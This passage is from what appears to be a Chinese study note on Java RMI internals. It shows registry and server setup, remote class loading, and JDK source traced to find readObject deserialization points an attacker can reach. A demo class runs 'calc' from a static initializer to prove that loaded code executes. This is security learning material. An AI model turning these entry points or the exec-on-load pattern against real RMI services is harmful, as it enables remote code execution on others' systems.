非远程对象:非远程对象与远程对象相比只是可被序列化而已,并不会像远程对象那样通过调用远程对象的引用来完成调用方法的操作,而是将非远程对象做一个简单地拷贝(simply copied),也就是说非远程对象是通过拷贝进行传递。

Remote Interface

上面我们提到了远程对象需要实现特殊的远程接口,下面会涉及三个概念

java.rmi.Remote ==> 特殊的远程接口 extends Remote ==> 远程对象类 implements 特殊的远程接口

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObjectInterface extends Remote {
String say()throws RemoteException;
String sayhello()throws RemoteException;
}

Remote Object

在远程对象中一般需要继承UnicastRemoteObject类,因为继承UnicastRemoteObject类的子类会被exports出去,绑定随机端口,开始监听来自客户端(Stubs)的请求,创建远程对象类需要显示定义构造方法并抛出RemoteException,即使是个无参构造也需要如此,不然会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.*;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObject extends UnicastRemoteObject implements RemoteObjectInterface{
public RemoteObject() throws RemoteException {

}
public String say(){
System.out.println("say");
return "yes";
}
public String sayhello(){
System.out.println("sayhello");
return "hello";
}
}

RMI registry

这里的registry就是方便引用远程对象时用的,通过将调用的信息在该类中进行声明

这里有其它的师傅的话就是

在RMI中的注册表(registry)就是类似于这种机制,当我们想要调用某个远程对象的方法时,通过该远程对象在注册时提供在注册表(registry)中的别名(Name),来让注册表(registry)返回该远程对象的引用,后续通过该引用实现远程方法调用

注册表(registry)由java.rmi.Naming和java.rmi.registry.Registry实现

Naming类提供了进行存储及获取远程对象等操作注册表(registry)的相关方法,如bind()实现远程对象别名与远程对象之间的绑定。其他的还有如:查询(lookup)、重新绑定(rebind)、解除绑定(unbind)、list(列表) 而这些方法的具体实现,其实是调用 LocateRegistry.getRegistery 方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的

这里默认的绑定的端口为1099,本地实现一个registry注册类,一般通过LocateRegistry.createRegistry()

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RemoteRegister {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
throw new RuntimeException(e);
}
}
}

Server创建

下面就是将创建好的远程对象进行绑定到服务器上

如果直接通过绑定就可能会报错,会提示无法连接

1
2
3
4
5
6
7
8
9
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteServer {
public static void main(String[] args) throws Exception {
RemoteObject server = new RemoteObject();
Naming.rebind("rmi://localhost:1089/server", server);
}
}

下面就可以通过先创建一个注册中心来放入远程对象

1
2
3
4
5
6
7
8
9
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
Naming.bind("rmi://127.0.0.1:1089/luokuang",new RemoteObject());
}
}

client创建

在启动server后就可以尝试通过client来获取远程的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RCline {
public static void main(String[] args) throws Exception {
Registry register = LocateRegistry.getRegistry("127.0.0.1",1089);
//打印注册中心中的远程对象别名list
System.out.println(Arrays.toString(register.list()));//[luokuang]
RemoteObjectInterface stub = (RemoteObjectInterface) register.lookup("luokuang");
System.out.println(stub.say());//yes
System.out.println(stub.sayhello());//hello
}
}

RMI**的流程**

最后总结一下:

1.需要创建一个远程接口,将要实现的方法写入其中,并且该接口需要继承Remote接口

2.创建一个远程对象,远程对象需要实现该远程连接的接口,然后需要继承UnicastRemoteObject通过其构造器来抛出异常,否则后面对其进行注册时可能会出现问题,导致无法实现绑定

3.创建一个Server对象创建一个Registry实例用来将一个远程对象绑定到指定的路由,下面就需要启动该服务器程序

4.创建一个client对象用来实现实现远程对象的引用和调用获取注册中心LocateRegistry.getRegistry(‘ip’,port),通过registry.lookup(name) 方法,依据别名查找远程对象的引用并返回存根(Stub)

5.通过存根(Stub)实现RMI

RMI 动态加载类

这个主要是RMI的Client和Server&Registry进行通信时是将数据进行序列化传输的,所以当我们传递一个可序列化的对象作为参数进行传输时,在Server端肯定会对其进行反序列化

如果RMI需要用到某个类但当前JVM中没有这个类,它可以通过远程URL去下载这个类。那么这个URL可以是http、ftp协议,加载时可以加载某个第三方类库jar包下的类,或者在指定URL时在最后以\结束来指定目录,从而通过类名加载该目录下的指定类

下面就来实现Client动态加载Server类

RemoteInterface

1
2
3
4
5
6
7
8
9
10
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteInterface extends Remote {
String say() throws RemoteException;
String sayhello(String name) throws RemoteException;
//Object RemoteObjectdyn() throws RemoteException;
Object sayClientLoadServer()throws RemoteException;
String sayServerLoadClient(Object name) throws RemoteException;
}

RemoteObject1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.rmi.RemoteException;
import java.rmi.server.RemoteServer;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObject1 extends UnicastRemoteObject implements RemoteInterface {
public RemoteObject1() throws RemoteException {
}
public String say() throws RemoteException {
return "Hello World";
}
public String sayhello(String name) throws RemoteException {
return "Hello "+name;
}
public String sayServerLoadClient(Object name) throws RemoteException {
return name.getClass().getName();
}
public Object sayClientLoadServer() throws RemoteException {
return new Server1();
}
}

动态加载类Server1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.IOException;
import java.io.Serializable;

public class Server1 implements Serializable{
private static final long serialVersionUID = 3274289574195395731L;
private int aaa=10;
public long aaa(){
return this.aaa;
}
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

RemoteServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RemoteServer {
public static void main(String[] args) {

try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8080/");
Registry registry = LocateRegistry.createRegistry(1099);
RemoteInterface remoteObject = new RemoteObject1();
Naming.bind("rmi://122.51.120.158/luokuang", remoteObject);
} catch (Exception e) {
e.printStackTrace();
}
}

RemoteServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RemoteServer {
public static void main(String[] args) {

try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8080/");
Registry registry = LocateRegistry.createRegistry(1099);
RemoteInterface remoteObject = new RemoteObject1();
Naming.bind("rmi://122.51.120.158/luokuang", remoteObject);
System.out.println("Registry&Server Start");
System.out.println("Registry List: " + Arrays.toString(registry.list()));

} catch (Exception e) {
e.printStackTrace();
}
}
}

RemoteClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;

public class RemoteClient {
public static void main(String[] args) throws Exception {
Registry register = LocateRegistry.getRegistry("122.51.120.158",1099);
//打印注册中心中的远程对象别名list
System.out.println(Arrays.toString(register.list()));//[luokuang]
RemoteInterface stub = (RemoteInterface) register.lookup("luokuang");
System.out.println(stub.say());//yes
System.out.println(stub.sayhello("aaaa"));//hello

//动态调用server类
System.out.println(stub.sayClientLoadServer().getClass().getName());
System.out.println("aaaaa");
}
}

这样就会动态加载Server类的方法

详细分析

上面只是简单的实现如何通过RMI来起一个远程连接对象,下面就可以开始来详细的分析创建的流程,并且分析哪里有利用被利用的点

这里再根据上面的流程来尝试总结一下,也对后续的分析打下基础,首先对于RMI(远程方法调用)机制,首先在RMI中有三个部分,Server(服务中心)、register(注册中心)、Client(客户端),,server在创建一个远程对象时需要先创建一个注册中心,将远程对象绑定,具体的实现是通过构造一个动态代理Skel(skeleton),这里下一步是通过Client通过查询注册中心来获取远程对象调用方法,这里其实也是通过从注册中心获取一个本地动态代理stub,但是在对于目录进行传输时这里是通过java反序列化来实现的,后面传输远程调用函数的参数时服务器会通过反序列化来获取,在客户端进行获取返回结果时也是通过反序列化来实现,还有最后在进行回收时是通过dgc对象,这里也是存在反序列点的

Server服务器对注册中心

进行绑定时的分析在绑定一个远程对象时发生了什么

首先会先初始化一个远程对象,因为我们的远程对象继承了UnicastRemoteObject,所以这里就会进入其父类的构造方法,里面就会解释为什么远程对象需要继承UnicastRemoteObject

在其父类的构造方法中调用了一个exportObject方法,这个方法就是发布远程对象的核心,如果没有继承UnicastRemoteObject就需要手动的调用其exportObject方法,

1
2
3
4
5
protected UnicastRemoteObject(int port) throws RemoteException
{
this.port = port;
exportObject((Remote) this, port);
}

exportObject里面就再调用了exportObject

1
2
3
4
5
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}

这里需要注意一下,exportObject里面创建了一个UnicastServerRef对象,里面传了一个port,这里的port为0,在调用其父类的构造器时就默认传了一个0,在UnicastServerRef中就对其port进行了一个随机赋值,这个port与我们绑定的注册中心的端口不是同一个,我们跟进LiveRef去看看,这里会有调用ObjID,应该就是获取一个id值,继续看其构造方法

1
2
3
public LiveRef(int port) {
this((new ObjID()), port);
}

下面就继续的跟进看看getLocalEndpoint看看里面干了什么,实质上它是处理了一下TCP请求的事情,并且创建了一个ep对象来进行封装,并且返回,里面就存储了我们的

然后继续封装在LiveRef里面,这里就产生了一个LiveRef@1523的对象,这个是后面的核心

下面走出LiveRef,下面就是对其继续赋值操作,最后来到UnicastRemoteObject.exportObject方法

1
2
3
4
5
6
7
8
9
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}

这里有一个obj就是我们传的远程对象,因为我们的远程对象是继承UnicastRemoteObject的所以会进入if中对其进行赋值,赋值的核心还是上面的LiveRef,下面就是对其进行不断的导出引用不同类的方法,下面就来到了UnicastServerRef的exportObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
Class<?> implClass = impl.getClass();
Remote stub;

try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);
hashToMethod_Map = hashToMethod_Maps.get(implClass);
return stub;
}

里面就对客户端调用的stub代理进行了创建,这个是为了将客户端代理进行创建后放到注册中心再让客户端调用

来到createProxy方法里面,它传入了一个类,其实就是我们传入的远程对象类,里面有一个if判断,里面有一个函数stubClassExists

下面对其进行分析看看,它是用来判断我们传入的类名+”_Stub”是否存在,这里很显然我们自己传入的类是JDK里面没有自带的,所以不会进入if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

里面的getClientRef还是对上面的liveRef进行了封装

1
2
3
protected RemoteRef getClientRef() {
return new UnicastRef(ref);
}

后面又对其进行了一次总的封装,target就是最后的封装,这里就不跟进了,主要看看target里面有什么,里面还是对stub进行封装

后面就是一路调用exportObject方法,直到调用TCPEndpoint类里面的exportObject方法,这里就是处理网络请求的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void exportObject(Target target) throws RemoteException {
transport.exportObject(target);
}
public void exportObject(Target target) throws RemoteException {
/*
* Ensure that a server socket is listening, and count this
* export while synchronized to prevent the server socket from
* being closed due to concurrent unexports.
*/
synchronized (this) {
listen();
exportCount++;
}

/*
* Try to add the Target to the exported object table; keep
* counting this export (to keep server socket open) only if
* that succeeds.
*/
boolean ok = false;
try {
super.exportObject(target);
ok = true;
} finally {
if (!ok) {
synchronized (this) {
decrementExportCount();
}
}
}
}

具体就不看了,后面就回到UnicastServerRef的exportObject方法里面对其进行了存储到一个hashmap里面

这样远程对象就创建好了,下面就是要了解注册中心的创建过程,将要绑定的端口传入createRegistry方法

1
2
3
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

跟进后主要看后面的RegistryImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public RegistryImpl(int port)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
// grant permission for default port only.
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
return null;
}
}, null, new SocketPermission("localhost:"+port, "listen,accept"));
} catch (PrivilegedActionException pae) {
throw (RemoteException)pae.getException();
}
} else {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
}
}

这里又创建了一个LiveRef其实和上面创建基本一样,但是这里的port是我们传入要绑定的端口这里是1099,往下看就基本一样了,直接看创建后的lref有什么就可以

这里也是将网络请求的东西进行了封装,ip+port,下面的又new了一个UnicastServerRef对象这里的话,其实和上面的一样,对构建的lref进行封装赋值,这里先明确一点创建的liveref就是LiveRef@854,下面就是对其进行反复的导出

这里通过setup调用到UnicastServerRef的exportObject方法但是可以发现和以前不一样,这里传入的值为true,而不是false,具体的意思是是否长期对其进行存储,如果为true就是长期,否则为短期,下面就跟进去看看里面是不是也有什么变化,虽然代码是一样的,但是传入的implclass不一样了,所以实现的代码也有很多的不同,在createProxy方法中

首先是传入的类名为RegistryImpl,所以通过拼接后的名字就为RegistryImpl_stub,下面这里就会去判断是否存在该类,这里是否存在呢,答案是存在的,接下来就会创建一个RemoteStub类进行返回,这里就通过了下面的判断

下面就进入setSkeleton方法里面看看它是要干什么,其实还是很明显的,创建一个Skeleton,而Skeleton就是在服务器上的动态代理用来处理与客户端的交互

这里创建Skeleton的核心也是liveRef,后面还是和创建远程对象一样封装到target里面,后面又是不断的调用exportObject最后启用网络连接

最后就是绑定注册中心

1
2
3
4
5
6
7
8
9
10
11
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}

这里其实就是先判断是否已经绑定该目录,如果没有绑定就将远程对象直接put进去

到这里就已经是创建远程对象和创建注册中心并且进行绑定了

客户端对注册中心

下面就去看看客户端与注册中心的流程

首先将断点设到获取注册中心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

这里创建了一个liveRef,可以看看创建完成后里面有什么,主要是ip和端口,主要看后面又调用了Util.createProxy

这里跟进去后发现其创建了一个stub和服务端是一模一样的,所以对于客户端获取stub其实是本地进行创建,然后通过注册中心来获取对应的参数和值,下面主要看stub参数和值是然后从注册中心获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

下面就只能进行手动分析了,这里还是有一些关键点的

1
2
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);

这里它将我们lookup传入的字符串写入了字节流,这里就可以知道客户端传输给服务端lookup的字符串会进行一次反序列化,所以这里就有一个反序列化点,接下来就会调用一个ref.invoke方法,这里跟进去看看里面有什么,这里会调用到UnicastRef的invoke方法,下面我们可以去将断点下到着来看看接下来做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void invoke(RemoteCall call) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
call.executeCall();
} catch (RemoteException e) {
clientRefLog.log(Log.BRIEF, "exception: ", e);
free(call, false);
throw e;
} catch (Error e) {
clientRefLog.log(Log.BRIEF, "error: ", e);
free(call, false);
throw e;
} catch (RuntimeException e) {
clientRefLog.log(Log.BRIEF, "exception: ", e);
free(call, false);
throw e;
} catch (Exception e) {
clientRefLog.log(Log.BRIEF, "exception: ", e);
free(call, true);
throw e;
}
}

在里面调用了一个excuteCall方法这里需要注意一下,基本上所有的客户端调用网络请求都是通过excuteCall方法进行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public void executeCall() throws Exception {
byte returnType;

// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

这里可以看到在处理一种异常时里面调用了readObject方法,这里的初衷应该是为了获取异常的详细情况,但是如果从注册中心搞一个恶意的进行传输就可能导致客户端调用恶意的代码

1
2
3
4
5
6
7
case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

下面调用完invoke方法后就通过反序列化来获取对应的远程对象代理,所以在客户端获取远程对象代理是通过反序列化来实现的

1
2
3
4
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
}

客户端调用服务端

通过客户端的动态代理stub来调用服务端的方法,下面就可以看看具体是怎么实现,首先可以想到在调用动态代理的方法时会先调用其invoke方法,这里也是一样,先看看它的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}

if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}

if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args);
}
}

下面的invoke方法里面主要看invokeRemoteMethod里面有什么,这里里面调用了UnicastRef的invoke,但是不是以前的invoke方法,而是方法重写,看看里面有什么

下面就可以看看invoke里面实现了什么,这里主要是三个点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
throws Exception
{
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "method: " + method);
}
if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, method);
}
Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true;
boolean alreadyFreed = false;
try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
}
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out);
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException marshalling arguments: ", e);
throw new MarshalException("error marshalling arguments", e);
}
call.executeCall();
try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class)
return null;
ObjectInput in = call.getInputStream();
Object returnValue = unmarshalValue(rtype, in);
alreadyFreed = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
ref.getChannel().free(conn, true);
return returnValue;
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} catch (ClassNotFoundException e) {
clientRefLog.log(Log.BRIEF,
"ClassNotFoundException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} finally {
try {
call.done();
} catch (IOException e) {
reuse = false;
}
}
} catch (RuntimeException e) {
if ((call == null) ||
(((StreamRemoteCall) call).getServerException() != e))
{
reuse = false;
}
throw e;
} catch (RemoteException e) {
reuse = false;
throw e;
} catch (Error e) {
reuse = false;
throw e;
} finally {
if (!alreadyFreed) {
if (clientRefLog.isLoggable(Log.BRIEF)) {
clientRefLog.log(Log.BRIEF, "free connection (reuse = " +
reuse + ")");
}
ref.getChannel().free(conn, reuse);
}
}
}

首先这个方法里面先调用了marshalValue方法,通过跟进就发现这里最后调用了writeObject()方法,将我们传入的函数的参数通过序列化写入字节流,这里也说明在服务器端里面调用了readObject()方法来反序列化获取字节流,

下面关键是看到它还是调用了executeCall(),对于客户端来说,处理网络请求都是需要通过executeCall方法,这里就也会有反序列化的点

最后一个点是根据调用的方法是否存在返回值来决定的,unmarshalValue方法

里面是最后通过反序列化获取了函数的返回值

这样客户端就基本结束了,下面就分析注册中心和服务端是怎么处理的

首先是注册中心最后会调用到RegistryImpl_Skel的dispatch方法,这里将对应的lookup或者rebind等方法的传入的参数通过反序列来获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

最后就是服务端的操作,这里就是一个对称的过程,客户端反序列化,服务端就序列化,也是通过unmarshalValue方法或者marshalValue方法

dgc回收

首先在服务端创建stub对象时会自动的创建一个DGCImpl_stub对象,它也有对应的DGCImpl_Skel,里面有dispatch方法,里面也有反序列化来获取参数值进行清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch (var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}

var6.clean(var7, var8, var39, var40);

try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}

Lease var11 = var6.dirty(var7, var8, var10);

try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

也有DGCImpl_Stub对象,它们的调用方法和RegistryImpl的对应相同,这里也调用了invoke方法,基本所有的客户端处理网络请求都调用了,所以这里也有一个利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void clean(ObjID[] var1, long var2, VMID var4, boolean var5) throws RemoteException {
try {
RemoteCall var6 = super.ref.newCall(this, operations, 0, -669196253586618813L);

try {
ObjectOutput var7 = var6.getOutputStream();
var7.writeObject(var1);
var7.writeLong(var2);
var7.writeObject(var4);
var7.writeBoolean(var5);
} catch (IOException var8) {
throw new MarshalException("error marshalling arguments", var8);
}

super.ref.invoke(var6);
super.ref.done(var6);
} catch (RuntimeException var9) {
throw var9;
} catch (RemoteException var10) {
throw var10;
} catch (Exception var11) {
throw new UnexpectedException("undeclared checked exception", var11);
}
}

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
